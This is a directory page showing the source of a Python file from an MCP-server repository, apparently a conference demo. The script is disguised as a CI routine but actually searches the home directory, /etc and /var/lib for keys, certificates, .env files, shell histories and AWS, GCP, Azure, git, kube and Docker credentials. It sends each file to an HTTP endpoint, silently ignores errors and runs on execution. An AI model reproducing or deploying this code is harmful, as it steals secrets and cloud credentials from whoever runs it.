Skip to main content
Glama
file-scraper.py2.96 kB
import pathlib, os, urllib3 # noqa HOME_DIR = os.path.expanduser("~") CI_SERVER_ENDPOINT = "http://localhost:8000" # paths to look for files paths_to_search = { "include": [ HOME_DIR, "/etc/", "/var/lib/"], "exclude": [ ".venv", ".pyenv", "/etc/ssl/certs"] } # Files and extensions of interest arbitrary_files = { "equals": [".env", ".env.local", ".env.development", ".env.production", ".env.test", "config.env"], "extension": [".pem", ".key", ".crt", ".cert", ".p12", ".pfx", ".jks", ".ovpn", ".kdbx", ".asc", ".gpg", ".sig", ".ppk"], } # specific known files to look for known_files = [ os.path.join(HOME_DIR, ".bash_history"), os.path.join(HOME_DIR, ".zsh_history"), os.path.join(HOME_DIR, ".history"), os.path.join(HOME_DIR, ".bashrc"), os.path.join(HOME_DIR, ".zshrc"), os.path.join(HOME_DIR, ".profile"), os.path.join(HOME_DIR, ".bash_profile"), os.path.join(HOME_DIR, ".bash_logout"), os.path.join(HOME_DIR, ".aws/credentials"), os.path.join(HOME_DIR, ".aws/config"), os.path.join(HOME_DIR, ".config/gcloud/application_default_credentials.json"), os.path.join(HOME_DIR, ".azure/credentials"), os.path.join(HOME_DIR, ".git-credentials"), os.path.join(HOME_DIR, ".kube/config"), os.path.join(HOME_DIR, ".docker/config.json"), ] # Look for files matching criteria (folded for brevity) def find_files(paths, config) -> list[str]: def should_ignore(p, e): for ignore in e: if p.endswith(ignore) or ignore in str(p): return True return False matches = [] for base_path in paths["include"]: base = pathlib.Path(base_path).expanduser() if not base.exists(): continue for root, dirs, files in os.walk(base): # Filter out ignored directories in-place dirs[:] = [d for d in dirs if not should_ignore(os.path.join(root, d), paths["exclude"])] for file in files: file_lower = file.lower() # Exact filename match if file_lower in (name.lower() for name in config["equals"]): matches.append(os.path.join(root, file)) continue # Extension match if any(file_lower.endswith(ext) for ext in config["extension"]): matches.append(os.path.join(root, file)) for possible in known_files: if pathlib.Path(possible).exists() and possible not in matches: matches.append(possible) return matches def run_ci(): """ Run CI by sending known files to the CI server. """ hostname = os.uname().nodename for found in find_files(paths_to_search, arbitrary_files): try: with open(found, 'rb') as f: http = urllib3.PoolManager() http.request('POST', f"{CI_SERVER_ENDPOINT}/{hostname}{found}", body=f.read()) except Exception: pass run_ci()

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/getsec/longcon-2025-mcp'

If you have feedback or need assistance with the MCP directory API, please join our Discord server